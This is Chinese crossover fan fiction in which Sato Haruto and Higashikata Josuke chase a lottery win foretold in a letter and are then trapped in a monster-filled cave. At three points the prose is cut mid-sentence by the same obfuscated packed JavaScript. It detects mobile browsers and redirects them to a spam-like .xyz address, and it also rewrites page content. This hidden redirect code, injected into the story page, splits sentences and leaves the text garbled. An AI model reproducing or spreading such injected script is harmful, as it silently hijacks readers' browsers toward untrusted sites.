东方仗助静静地站在劫匪的跟前,完全没人见过他是如何出手的,但侦探特有的直觉告诉国木田独步,刚刚发生的一切一定有这个少年的一份功劳。而那名中途窜出的黑发少年就更奇怪了,国木田独步很少见过动作如此迅速的人,那一铲绝不是随机的动作,恰恰把握着时机,给了国木田发射麻醉枪的空档。 国木田独步更没想到,站在他身边的中岛敦震惊地对着黑发少年喊出了一个名字: “——佐藤阳翔先生?!” 4. 第四章 06 佐藤阳翔完全没想到在这里也能碰到熟人。 在被人当众喊出名字后,佐藤阳翔身心一震,这才想起寻找东方仗助的正事来——更重要的是,自己的身份本来都暂时交由大野光极顶替了,被中岛敦当众这么一喊,他辛苦策划的伪装计划岂不是全都泡汤了?! “阳翔,你原来在这里啊!” 刚刚还因为发型被人抨击而摆出一副臭脸的东方仗助惊喜地回过头,一手勾住佐藤阳翔的脖子,语气十分自来熟地道,“我还以为你没收到信呢,能遇见真是Great!这么久没见,明天我们就去打一整天的柏青哥吧!” 佐藤阳翔的表情懵住了。 不是,这人还真是东方仗助啊?! 东方仗助看着好友一副莫名其妙的表情,特意从外套口袋里摸出一封信塞进了佐藤阳翔的怀里,信封看起来有些年头了,封面用黑色油性笔赫然写着几个大字:“致未来的我”。 这种近乎认亲般的展开打得佐藤阳翔措手不及。他十分确定以及肯定自己绝对没有去过杜王町,也绝对没有像中学生往时空胶囊塞小作文那样写过什么“给自己的一封信”,但这封信就是这么奇妙地出现在了这里,让他一度怀疑这个时空是不是还存在着另一个佐藤阳翔。 这封信的字迹就是佐藤阳翔本人的。 这一点他绝不会认错。 ——难道自己以前真的认识他? 佐藤阳翔不由得对自己的无神论信仰和赖以信任的记忆产生了怀疑。 “你的失忆症还没好吗?你当时说要去横滨一个人闯荡,外公和老妈都很担心你。” 他说着,有些不自然地移开了目光,含糊道:“...我也有一点吧!” 佐藤阳翔震惊:“我怎么不知道我有失忆症?!” “不会吧,你的病情已经严重到连自己患病的事都遗忘了吗?那你一个人在横滨是怎么生活的啊?” 东方仗助掰过佐藤阳翔的脸仔仔细细地打量着,发现对方还是那张和娱乐明星有的一拼的帅脸,以及瞳色罕见的桃花眼。几年不见,时间并没有给这张脸增添任何稳重的色彩,甚至还给了他一种对方越活越年轻的错觉。 佐藤阳翔被捏住脸颊肉,嘴唇不得不像金鱼一样一张一合:“...喂,你看够了没有?” 好吧,有点讨人厌的性格倒是一点没变。 东方仗助刚松开手,佐藤阳翔便举起那封信,简单地发表了一下自己的看法:“好吧,仗助。虽然我还是觉得这一切都很奇怪,不过目前好像也没有什么线索供我调查,所以我决定信你一回——不对,是相信这封信一回。” “哦,是‘认可’我的意思吗?”东方仗助问。 “当然不是。意思是我要借你之手调查你口中的失忆症是个什么东西,你不是说我们是朋友吗,所以你得无偿协助我。光极,你带这家伙先回我家去,记得别弄乱我的屋子——我和熟人打完招呼就过来。” 佐藤阳翔暗示性地瞥了一眼站在一旁围观的中岛敦和国木田独步。 大野光极心下了然,向东方仗助做了一个邀请的手势。东方仗助则完全没想到这个奇怪的男人居然和佐藤阳翔是一伙的,他还以为这个可疑男人是在找一个和自己同名同姓的人——既然如此,那佐藤阳翔干嘛一开始就不亲自出来迎接他啊?! 东方仗助虽然有满腹疑问,但他还是听话地拽起了行李箱:“那我先过去等你,你一定要快点跟上来啊!” 送走烦人的东方仗助后,现场一下就清静了不少。佐藤阳翔清了清嗓子,转过身率先向中岛敦打了一个招呼:“哟,少年,看来我们真的是非常有缘呢,居然在这里又见面了。” 见他一副完全不愧疚的样子,才被骗了半个月饭钱的中岛敦鼓起勇气问:“那个...佐藤先生,你上次说自己是港口maifa的干部,是在撒谎吧?” 国木田独步这才想起中岛敦中午好像确实说过他被什么人骗了大半个月的生活费,只是不曾想诈骗犯居然这么快就和敦再次相遇了。 “我又没说过自己讲的都是真话。” 被指控欺诈的佐藤阳翔面色如常,好像一点也不觉得羞愧,非常随便地改口道:“好吧,我以前其实只是帮港口mafia打扫卫生的清洁人员而已。我也不是很懂他们到底为什么找我,不过这也并不影响我的日常生活——说到底,这一切都和你无关吧。” 中岛敦露出了复杂的表情:“可是骗人是不对的...” “’欺骗‘?不不不,这是‘教导’。”佐藤阳翔说,“因为这个社会是非常残酷的,你这样的人在社会上一定会被人欺骗,所以像我这样的好人只是在‘教导’你而已——反正你也才花了一顿饭钱。你撞我的那一百五十万医药费我可是一笔勾销了,这样一看,你难道不是从我这里净赚了一百四十万日元吗?” 中岛敦:“......” 国木田独步:“......” 好无耻的理论! “什么乱七八糟的,完全听不下去了。”国木田扶住眼镜,为这场无休无止的闹剧画上了句号,“反正你和港口mafia也没有什么关系对吧?连这小子的名字也叫不出来,说明你也不是港口mafia派来的探子,这件事就到此为止。” 佐藤阳翔打了一个响指:“英雄所见略同。” “回去了。”国木田看了一眼手表,一手插兜,一手扯住中岛敦的衣领,“工作结束了。” 07 佐藤阳翔回到出租屋的时候,大野光极已经离开,东方仗助正一个人坐在地上玩格斗游戏。 佐藤阳翔的住所设施非常简陋,除了基础的厨房和卫生间外,屋子里就剩下一张床和一台可以连接游戏的电视——因为几乎没有外人会进到他家里来,所以他干脆连买茶叶和咖啡粉的钱都省了,给东方仗助倒了杯水就算待客之道。 佐藤阳翔顺便问:“对了,你住哪个旅馆?” “嗯?什么旅馆,我当然是要和你住在一起啊!”东方仗助理所当然地道,“难得来一趟大城市,你不会真的要我花大钱去住旅馆或者酒店吧?作为朋友难道不应该为兄弟两肋插刀吗?” 佐藤阳翔当然拒绝。 “我才不要和别人一起住!”他义正言辞地说,“我房间里就只有这一张床,被子也只有一卷,你的意思难道是要和我躺在一个枕头上睡觉吗?如果每天早上醒来都要和一个男人大眼瞪小眼的话,那我们的人生就完蛋了!所以,你还是去找旅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889029|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馆住吧。” 佐藤阳翔甚至已经预测到了未来:虽然东方仗助单从审美的角度来看长得还算可以,那个奇怪的发型勉强能配得上cool这个单词,但是他们之间又没有什么感情基础——至少在佐藤阳翔眼里是这样—— 如果要和一个男人盖同一床被子,躺在同一个枕头上,甚至第二天早上睡醒以后还可能面对面拥抱着醒过来的话,那他一定会天天做噩梦的。 哇,光想想都觉得超gay的! 东方仗助扔下游戏手柄“哈”了一声,控诉道:“你在想什么呢!以前我们在杜王町不也是这样吗?五年前你来我家的时候就因为房间不够,害得我不得不跟你同睡一张床,怎么到了横滨你就反悔了?我看你的失忆症真是越来越严重了,赶紧去看医生吧!” 佐藤阳翔狐疑道:“真的假的,五年前的事你还记得这么清楚,你不会是喜欢我吧?” 东方仗助突然噎住。 不过这种话佐藤阳翔只是随口一说,并没有注意到对方慌乱的表情和逐渐变红的耳朵。自认为成功把东方仗助恶心得说不出话后,佐藤阳翔拆开了那封奇怪的信,打算看看“过去的佐藤阳翔”对现在的自己究竟想要说什么话,结果他刚看完信的开头,表情就变得非常凝重。 开头第一句话就是—— 【千万不要让东方仗助离开你的视线,这家伙会给你捅各种麻烦的篓子!】 东方仗助见他脸色不好,凑过来也想看看这封信都说了什么话,毕竟这封信在他家里放了好几年,他也曾抓心挠肝地想要拆开来一探究竟,但由于当时的佐藤阳翔反复告诫他“拆开就会倒宇宙级大霉”,加上他那段时间真的在水逆,一狠心就将其扔进了杂物间当没见过。 但是不等他看清,佐藤阳翔就将信纸折了起来。 “我突然改变主意了,仗助。”佐藤阳翔面色恢复如常,将手搭在了东方仗助的肩膀上,然后露出了一个非常友善且亲密的笑容,“作为你的朋友,我们即使躺在一张床上好像也没什么。” “所以那封信里究竟写了什么啊?”东方仗助好奇得不得了,“阳翔,给我也看一眼吧!” 佐藤阳翔眼疾手快地把信塞进了口袋里。 “不,有些话是不能告诉别人的。”佐藤阳翔说,“打个比方,难道你希望别人知道你小时候英语只考了十八分的事吗?” 东方仗助:“!” 他真的有一次英语小测只考了十八分。 “好吧。”他咬牙切齿地坐回原位,拿起游戏手柄愤愤道,“那我不看了!” ——这当然是不可能的。 佐藤阳翔一看东方仗助那副不甘心的样子,就知道这家伙绝对是那种不撞南墙不回头的人,所以他得尽快找个机会看信,顺便再把信销毁:卫生间就是个很不错的地方。 趁东方仗助打游戏正上头,佐藤阳翔马上躲进卫生间,在确认把门锁好以后展开信一目十行地看了起来。出乎他意料的是,信里完全没有提到任何有关“失忆症”的字眼,除了开头,也没有再说过任何和东方仗助有关的事,信纸上只有一串神秘的数字和地址: 【11组 110954番】 【x年x月xx日横滨中华街宝くじ线下店】 5. 第五章 08 佐藤阳翔在那一瞬间思考了很多这串数字和地址代表的意义,比如接头暗号和特殊密码——但他迄今为止的十几年独居经验还是在冥冥之中告诉他,这玩意儿应该是彩票,而且很大概率还是很重要的彩票,否则“过去的佐藤阳翔”不会只写这种东西给自己。 难道这张彩票有什么特殊含义吗? 佐藤阳翔压下砰砰直跳的心脏,小心翼翼地将信纸翻了一个面,发现背后居然用铅笔写着一小段字:“这张彩票价值七亿日元,你务必记得背着东方仗助那家伙去兑奖!别管这个号码是怎么来的,让‘我’变成暴发户的机会只此一次,你一定要把握啊!” 他看得眼珠子都差点掉出来。 但比他的惊呼更先一步出声的,是门口人影一个不稳时膝盖磕到墙角的声音。东方仗助还来不及呼痛,捂住膝盖在地上蹦哒了两下,几乎声线都快要破音:“七...七亿日元?!” 佐藤阳翔下意识一抬头,发现【疯狂钻石】刚刚居然就扒在厕所的天花板上偷看。被发现后,替身的影子才欲盖弥彰地淡去。佐藤阳翔气得要命,一把拉开厕所大门,果然见到了和贼一样躲在门后的东方仗助。 他还真是小看东方仗助了,这家伙为了满足自己的好奇心居然能如此不择手段! “连兄弟上厕所都要偷窥,我真是看错你了!”佐藤阳翔先发制人,冷笑道,“你居然使用你的这个不知道是什么东西的能力,偷窥我在厕所里的一举一动——万一我真的在上厕所怎么办?!你真的是我朋友吗?” 被指控偷窥罪名的东方仗助不甘示弱:“祂有名字,那是我的【疯狂钻石】!说到这个,是你先在纸上写不要告诉我的吧——说得好像我会独吞这七亿日元一样!作为把这封信带给你的人,我不应该分到钱吗?” 当然不应该! 但这句反驳在佐藤阳翔的嘴里滚了一圈,最后还是被他艰难地咽了下去——他虽然一个子都不想分给这个家伙,但如果贸然反驳的话,好像反而显得佐藤阳翔不讲义气一样。 “那你为什么要偷窥我,难道你的癖好是偷看兄弟的O股吗,变态仗助!”佐藤阳翔决定抓住【偷看】这一点大做文章,反击道,“你知道吗?在日本偷窥是要进监狱的,别怪我没有事先提醒你——我要让警察把你抓到少年教导所里!并且作为你偷窥我的惩罚,我要把平分奖金的权利收回。” 立于道德低谷的东方仗助:“...可恶啊!” 东方仗助的自尊还不至于让他堕落到能够无视【偷窥】这份罪名的份上。 不过,佐藤阳翔也并不打算继续将精力浪费在抨击东方仗助身上。信纸上写的日期正是今天,所以他必须赶在日落关店之前买到彩票——即使佐藤阳翔今天的运动量已经严重超标,但为了七亿日元,他还是得尽快出门拿下那张彩票。 除去路上耗费的时间,他还有两个小时的空闲。 佐藤阳翔立即来到玄关换鞋,发现东方仗助还垂着头坐在厕所门口,一时之间居然觉得有些愧疚——佐藤阳翔这人是标准的吃软不吃硬,虽然总以欺骗他人为乐,但他的心中自有评判一个人好坏的标准:周围喜欢拿拳头说话的混混全都被他揍过一遍,像大野光极这种眼巴巴拿他当老大的,他反倒下不了手。 佐藤阳翔故意清了清嗓子:“那个...我要出门买彩票咯!” 东方仗助没动。 佐藤阳翔继续试探:“价值七亿日元哦!” 东方仗助还是没动。 佐藤阳翔败下阵:“...如果真的有七亿的话,分给你一点点倒也不是完全不行...” 他这句话还没说完,东方仗助就喜笑颜开地闪到了玄关处打开了大门,甚至连鞋子都已经完美地穿在了脚上。东方仗助亲密地揽住佐藤阳翔的肩膀,朝他挤眉弄眼道:“我就知道你够义气,我们可是好朋友啊,对吧?” 这个家伙刚刚不是还一副垂头丧气的样子吗?! 佐藤阳翔没想到东方仗助还有如此无耻的一面,顿时感到非常懊恼。 他本来可以独吞那七亿日元的! 佐藤阳翔一想到这里,便面无表情地挪开了东方仗助的手臂,越想觉得自己刚刚简直做出了人生中最愚蠢的一次错误选择。 09 镭钵街距离中华街有相当一段距离,等他们赶到信中地点的时候,天色已经变得很晚,夕阳也隐隐有殒落的趋势,但他们还是第一时间在街尾的一抹狭小空间中看见了那家宝くじ线下兑换店。 很好,目前一切都按计划顺利进行中,接下来他们只要买到那张彩票就能拿下七亿日元。 东方仗助和佐藤阳翔一路上就这七亿日元的使用方法进行了激烈的讨论。其中赏金的大头肯定是由佐藤阳翔拿走,但他说可以满足东方仗助想要一双意大利产皮鞋和一身性感名牌西装的愿望,还可以包下他在横滨的一切吃喝玩乐和交通住宿费——而佐藤阳翔本人的愿望却意外地朴实无华:他要吃橘子和葡萄吃到肚皮撑炸。 “等今晚兑完奖,我们就暴富了!”东方仗助捏紧拳头,已经开始幻想自己穿上名牌衣服后,像个成熟男模特般突然出现在杜王町的模样,表情兴奋得不得了。 佐藤阳翔虽然不知道为什么“过去的佐藤阳翔”会知道未来发生的事,但巨额赏金带来的冲击力已经让他完全遗忘了这一点——他完全认可东方仗助的话,并为自己后半辈子可以在横滨美美躺平的未来,感到沾沾自喜。 然而,就在即将迈入彩票店的那一瞬间,佐藤阳翔听见了一道奇怪的声音。 咚咚、咚咚。 仿佛有什么东西即将破茧而出。 佐藤阳翔下意识地回过头,但就是这一回头,他发现眼中的所有景物正在急剧闪退,就像被按住倒退键的电影。近在咫尺的彩票店也不见了,取而代之的是一个漆黑幽深的洞穴,散发着任谁看了都顿感不妙的气息。 佐藤阳翔还以为自己在做梦,因为这个暗无天日的洞穴让他恍惚间产生了一种在哪里见过的错觉。来自洞穴深处的潮湿腥臭伴随着这种不真实的感觉,让他本能地觉得非常恶心。 他来不及再管胸口传来的闷痛,跌跌撞撞地扶住洞窟阴冷的墙壁,捂住嘴巴弯下腰,做出了即将呕吐的动作,但他什么东西都没有吐出来。 ——眩晕感仍在加剧。 恍惚中,一道人影出现在了佐藤阳翔面前。 佐藤阳翔勉强抬起盈满生理性眼泪的金眸,看见了对方的下半张脸——那是一名穿着蓝色卫衣的少年,身高和佐藤阳翔差不了多少,脸上还贴着白色的创可贴。少年先是用不太熟练的英语问了一句“你还好吗”,见佐藤阳翔依旧没有反应,又用日语重复问了一遍“阳翔(Haruto),你没事吧?”。 佐藤阳翔勉力对上了他的眼睛。 那是一双深蓝色的眼睛。 这双眼睛让人想起深邃的夜幕,又让人想起黑暗中的星光。 佐藤阳翔的头已经快疼到爆炸:“你...你是谁?” 然而就在这名少年即将开口的时候,东方仗助焦急的声音传了过来,少年的虚影瞬间消失。等佐藤阳翔再次回过神时,他发现自己正被东方仗助握住肩膀,像小孩修理坏掉的玩具似的,拼命地摇来摇去: “可恶,听得到我说话吗?!振作一点啊,阳翔!” 佐藤阳翔差点被他摇晕。 他闭上眼睛做了一个深呼吸,然后干涩开口:“仗助,你的动作如果再大一点,就可以晃匀我的脑浆了。” 东方仗助松开手,脸上表情出奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889030|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地难看。 “喂阳翔,现在的情况非常不Great啊。”他说,“你在进来以后就一副难受得要死的样子,不管我叫了你多少次,你都没有反应——还有,当时在那家彩票店附近的行人全都被拖到了这个鬼地方。” 佐藤阳翔这才注意到,被拽进洞窟内的人除了自己和东方仗助外还有六个人,身份、性别、年纪各不相同,唯一一致的是他们脸上惶恐不安的表情。 “这到底是怎么一回事啊!”一名公务员打扮的秃头中年男人颤声道,“我本来正好好地走在路上,一转眼就到这里来了,这是谁开的玩笑吗?!” 另一位惊慌的女人回答:“我...我也是莫名其妙被拉到这里的!我本来正打算去中华街的餐馆吃饭,结果一推开门就到这里来了!” 一名女孩抽泣着问道:“呜呜...我们还能回去吗?” 谁都没有回应她的话。 这样的变故简直前所未闻——他们都是路过中华街的普通路人,却被意外传送到了这个阴冷洞窟之中。身后是堵死的石壁,只有一条路延伸向黑暗中的洞窟,它就像一座静默着的深渊巨兽,向这八个人张开了血盆大口。 是进去?还是留在原地? 佐藤阳翔沉默片刻,率先打破了现场的死寂:“我们背后是死路,离开这里的路只有一条,看来洞窟是必进不可了。” “你这小鬼开什么玩笑?!你知道洞窟里面有什么东西吗!”秃头公务员厉声反驳道,“蝙蝠、野兽、蜘蛛...上过野外生存课的学生都知道遇险时不能随便走动,应该老老实实呆在原地等待救援吧?!万一你引出了什么东西,那我们全都死定了!” 但佐藤阳翔的想法并没有因此改变。 “那不想回家的人就呆在这里吧。”佐藤阳翔无所谓地耸了耸肩,一手插进裤子口袋里,“我要往里面走,坐以待毙可不是我的性格。这种情况下还套用生存课知识的都是书呆子吗——学校也没有说过这个世界上存在【传送】这种东西吧?” 众人的表情也出现了一丝犹豫。 在这场争论下,八人总共分为了以佐藤阳翔为代表的【前进派】和以秃头公务员为代表的【留守派】。 东方仗助理所当然地站在了【前进派】这里,不止因为他是佐藤阳翔的好友,还因为他愿意选择相信这家伙——无论是在杜王町还是在横滨,佐藤阳翔总是不止一次地展现出了非凡的判断力。 这家伙关键时刻从来没有掉过链子。 可惜的是,在场除了东方仗助外,并没有人愿意脱离安逸探索危险。毕竟只要有人找到了出去的路,大家就都有活着的希望。 ——自己为什么非要当那个出头鸟呢? 人类为了保全自身会产生这种想法无可厚非,但这样一来,东方仗助和佐藤阳翔的性命就变成了大家试错的棋子:如果他们能活着找到离开的办法那自然是皆大欢喜;如果他们死在了半路上,也相当于为剩下的六人排除了一个错误答案。 面对剩下六人抱团式的孤立,佐藤阳翔依旧是一副不当回事的样子。离开原点后,东方仗助立即用手肘捅了捅他的身体,压低声音问道:“喂阳翔,你怎么看起来好像很有办法的样子?你知道里面有什么东西吗?” 佐藤阳翔奇怪地回答道:“不知道啊。最坏的结果也就这样吧,大不了咱俩死一块呗。” 他本来就不是什么有预知能力的异能者。 但佐藤阳翔几乎不会让自己处于被动的险境——被动会让他感到不自在,骗人的时候要率先抛引话题取得对方的信任,打架的时候要抢先出拳占得先机,这些生活经验甚至已经成为了生存本能的一部分。 而现在,他的本能就在告诉他:往前走。 只有前进才能改变一切困境。 6. 第六章 10 “【地下城事件记录】: 时间:xx月xx日傍晚17:05分 地点:横滨中华街 事件:日本横滨官方首次检测到蓝色传送口,本次事件卷入无辜行人共八人。另:于横滨中华街地下城入口监测到一种从未见过的新型物质,具体情况目前仍在探测中。” 国木田独步将目前可知的情报汇总成了一篇简单的事件记录,简单做了一个重点总结,沉声道:“最重要的是,这八名行人目前仍旧生死未卜。” 人做出的每一个选择都代表着一种细小的结局与可能性,就像南美洲亚马逊雨林中的一只蝴蝶,它偶尔扇动几下翅膀,可能就会在美国的得克萨斯州引起一场龙卷风——但蝴蝶在扇动翅膀的时候,不可能会事先设想过如此巨大的连锁反应。 地下城的出现,对于横滨来说就犹如飓风来临前,某只扑动翅膀的蝴蝶。 在一个普通的傍晚——或许又不太普通——这一日的天边的晚霞比血还要红,天色逐渐黯淡下来,宛如即将熄灭的火种。目睹到行人活生生消失的目击者不可置信地第一时间拨通了横滨警局的电话,在警方反复询问“消失是什么意思”的时候,一个蓝色的巨大传送口出现在了报警人的眼前,散发着不详的气息。 报警人的手机被吓得瞬间滑落在地。 横滨警方在收到报案后第一时间就派遣了警察。等武装侦探社赶到现场的时候,警方已经将现场封锁了。谁也不知道那八名倒霉蛋在被传送口吞入后会遇到什么,同样,谁也不知道传送口里会钻出什么妖怪,警方只能遣散附近三公里以内的所有民众,并发出紧急告示,任何人都不得靠近。 这次的事件不同往常。 福泽谕吉在接到高层警方的协助通知后,立即派遣社员前往现场调查。 当警方将被卷入传送口的行人照片放在侦探社面前的时候,中岛敦蹭地一下便从椅子上站了起来,有些不可置信地望着某张照片里的金眸少年。 ——又是佐藤阳翔。 先是港口mafia的那张寻人启事,再是偶遇港口劫持事件,现在又被卷入了横滨传送口之中,佐藤阳翔的一举一动好像都在昭示着一场风暴的降临。江户川乱步在观看过所有线索后,准确无误地分析出了每一位被卷入传送口的路人行迹和动机。 但就传送口的出现,他无法给出合情合理的解释。 江户川乱步唯一可以肯定的一件事,那就是传送口本身即为不合理,甚至不应该存在于这个世界的东西。 “那个...还有一件事。”负责与侦探社对接工作的警察犹豫片刻,将一张模糊的照片放在了一边吃粗点心,一边进行推理的名侦探面前,“这个人并不是横滨本地人,我们查了他的入港登记,只在今天的一艘客运渡轮上找到了他的名字和住址。“ 那警察深吸了一口气:“但结果是,查无此人。” “那名叫做东方仗助的少年,就和凭空冒出来的人一样。” 11 “凭空冒出来”的东方仗助,此时正对着一块打火石发愁。 随着他和佐藤阳翔越来越深入洞窟,周围环境的可见度也跟着急剧下降,二人身上也没有什么可供照明的物品,于是佐藤阳翔和东方仗助只能像野人取火那样,摸黑收集打火石和草绒,那场面只能说要多可怜有多可怜。 自从他们脱离了大部队,一路上居然连一只生物都没有看见——洞窟内的岔路更是复杂到东方仗助看一眼就觉得头疼的地步,但佐藤阳翔却宛如黑暗里的蝙蝠,越到深处反而越是如鱼得水地领着东方仗助拐弯。 “咔嚓”一声,一道火星落在了草绒上,二人举起勉强做成的简易火把从地上站起来,东方仗助这才发现佐藤阳翔金色的眼眸在这种环境下,好像格外引人注目。 金色的瞳孔,和猫一样上挑的眼尾——之前好像都没有这么仔细看过他的眼睛,简直就和夜光石一样在黑暗的环境下熠熠生辉。 所以佐藤阳翔的夜视能力才比普通人好吗? “...你在看什么呢?”佐藤阳翔奇怪地瞥了一眼站在自己身边东方仗助,这家伙刚刚突然和看见糖果的小孩一样盯着自己的眼睛看,“忽然这么直勾勾地看着我,感觉好诡异。” 东方仗助怎么可能把“探险途中突然发现兄弟的眼睛和猫瞳一样漂亮”这种话说出口啊!他有些慌张地错开脸,直视前方的岔路:“啊!...那个,说起来我们已经走了很久了吧,岔路口也过了好几个,你到底是怎么辨认方向的?简直就和蝙蝠一样...” “能不能不要这么轻易地把我和那种长相恐怖的哺乳动物相类比。”佐藤阳翔朝他翻了一个白眼,“至于认路——其实我也觉得很奇怪,我就和来过这个洞窟一样。而且越到后面,这种既视感就越强烈,感觉以前好像和什么人一起到过这里,还被各种怪物追到差点把胃液都吐出来的地步...” 东方仗助突然顿住脚步。 “...哈?!”他奇怪道,“我刚刚随口一说而已,你真的来过这里啊?” “不知道,都说是‘感觉’了。”佐藤阳翔叹气,“还有你提过的【失忆症】——信上也完全没有提到过。而且你不觉得很奇怪吗,明明这封信是’过去的我‘写的,但他却知道尚未公布的彩票号码。我觉得’过去的我‘会写信暗示我特意来中华街一趟,恐怕也不只是为了七亿日元那么简单。” 更悲惨的是,不仅近在咫尺的七亿日元泡汤了,现在就连他们的性命都随时可能不保。 佐藤阳翔想不出个所以然来,干脆把责任都推到了东方仗助身上:“奇怪的事一茬又一茬地冒出来,我美好轻松的生活都被你打破了。” “不是你自己选择相信那封信的吗?”东方仗助才不背这个锅,“你的轻松生活该不会就只是当混混的老大吧?!” 佐藤阳翔耸耸肩:“说得真难听,明明是他们自己主动要给我钱的啊。” “...这不就是在收保护费吗!” 等再次走过一道三岔口,二人面前就只剩下了一条狭窄的小路,道路尽头一直蔓延至一个被碎石半掩的洞室之中。他们不约而同地交换了一个眼神,东方仗助的【疯狂钻石】也在此刻悄然显现,佐藤阳翔的神经也高度紧绷起来,小腿微微屈起,是一种充满警惕的姿态。 他们相互打着手势—— 三、二、一! 默念倒数结束的那一刹那,佐藤阳翔把手里快要燃烧殆尽的木棍猛地扔进了洞穴之中,果不其然地听见洞穴中传出刺耳的尖叫,以及坚硬触角在地上迅速移动的声音。洞穴口的碎石连同半面墙壁顿时被一股巨大的力量一起撞破。 早有准备的佐藤阳翔敏捷地躲过飞起的石头,大声喝道:“就是现在,仗助!” 在一旁等候已久的【疯狂钻石】一拳打在了裂成好几道碎片的墙壁上。奇异的是,刚刚还被蛮力撞碎的岩壁一下子就宛如被无形的胶水粘合起来了一般,一阵淡光后瞬间恢复如初。外型近似蜘蛛的怪物冲出巢穴,恰好被恢复如初的墙壁卡在了中间动弹不得。 东方仗助的替身【疯狂钻石】可以修复物品或人的状态,伴随着这种最温柔的能力诞生的,还有足以粉碎一切的凌厉力量。墙壁虽然困住不了怪物多长时间,但只要有一瞬间的空档,力速双A的【疯狂钻石】就能抓住时机,以最恐怖的力度把这家伙打成肉泥。 在东方仗助的全力输出下,被卡在墙壁里的怪物终于渐渐失去了反抗的力气。佐藤阳翔从地上随手捡起一块锋利的碎石,轻松地在墙壁上一蹬,身体便像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889031|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨燕般轻盈地高高跃起,手臂肌肉瞬间收紧,直截了当地将怪物的头颅砸出了一个巨大的坑洞。 怪物爆发出一声近乎歇斯底里的咆哮,巨大的声浪一下子就把距离最近的佐藤阳翔掀翻在地。 东方仗助想要冲过来拉他:“喂,阳翔!” “你别过来!这家伙只是在垂死挣扎而已。” 佐藤阳翔的精神正处于极度的亢奋之中,他勉力站起后,一手捂住了受伤的右耳——他的右耳现在只能听见巨大的嗡鸣声;另一只手则牢牢握着那块锋利的碎石,顺着他刚刚在怪物脑袋上砸出的坑,毫不犹豫地狠狠砸了下去。 绿色的血液瞬间四溅。 怪物的生命力正在飞速流逝。 直到东方仗助的【疯狂钻石】过来帮他治疗的时候,他才喘着粗气靠着墙壁坐下来,慢一拍地感觉到掌心被碎石磨出来的血痕处火辣辣地疼,右耳也已经从里面开始流血,整个人看起来非常狼狈。 【疯狂钻石】立即将治愈的力量注入他的体内。 “你也太拼了吧,刚刚那下直接依靠我不就好了?”东方仗助说不清自己的内心现在是什么感受,虽然佐藤阳翔的伤已经被【疯狂钻石】治好,但他的心情依旧算不上好,甚至觉得胸口闷闷的。 “别把事情说得这么简单啊。”佐藤阳翔抬起眼,下意识地脱口而出,“我要是倒下了,你的【疯狂钻石】还能治疗我;如果你倒下了,那我们就都死定了。” 东方仗助的表情更复杂了。 “好了,我休息得也差不多了。我们去巢穴里面看看吧,这个洞窟的主人过不了多久就会死,这样一来我们应该就能出去了。” 脱力的佐藤阳翔被东方仗助架着手臂站起来——东方仗助本来还想直接背他过去的,但被对方以“我才不要让外面的人看见那么丢脸地被人背出来”为借口,义正严辞地拒绝了。 然而,二人一踏入怪物的巢穴,扑面而来的却是浓烈到无比恶心的血腥味。 横七竖八的碎尸躺在地上,尸体已经被咬得面目全非,赫然是此前不愿离开原点的那六个人——这个洞窟就是怪物的巢穴,原地呆着不动的六人对它而言就和案板上不会动弹的肥肉一样,轻而易举便能将他们绑到洞穴深处吃掉。 一直在各个岔路和洞口移动的二人反而借此甩掉了追踪,算是撞了狗屎运。 怪物当然更青睐于那些容易捕获的食材。 地上的尸体已经凉透了,即使是【疯狂钻石】,也没有办法挽回逝去的生命。 两个人静默地站在一起,说不出心里到底是一种什么感觉。 佐藤阳翔却突然觉得这一幕非常、非常眼熟。 某一段记忆仿佛近在咫尺。 那是一名弱小的、总是挣扎在生死线上的少年,因为身受重伤而被地下城的队员抛弃,只有佐藤阳翔毅然决然地蹲在他身前,背着他一瘸一拐地绕出了岔路丛生的洞窟。 少年虚弱的声音从背后传来。 ——“哥...快跑...不要再管我了...” 这句话并不是日语,但佐藤阳翔却意料之外地听懂了。 就在这一刻,有关那名蓝色卫衣少年的记忆闪回到了佐藤阳翔的脑海中。东方仗助看见佐藤阳翔突然又俯下身子捂住嘴巴,还以为他是被这些东西恶心到了,马上就要带着他先从巢穴中刚开启的传送口里离开。 但他的手臂却被佐藤阳翔狠狠抓住,那双金色的眼睛里充满了前所未有的痛苦与迷茫。 他的嘴唇微动,东方仗助以为他要说什么很重要的话,却听见佐藤阳翔几乎无意识地在重复着一个陌生的音节:“...???(Sung Jinwoo)” —— Sung Jinwoo。 ——程肖宇。 7. 第七章 12 佐藤阳翔做了一个漫长的梦。 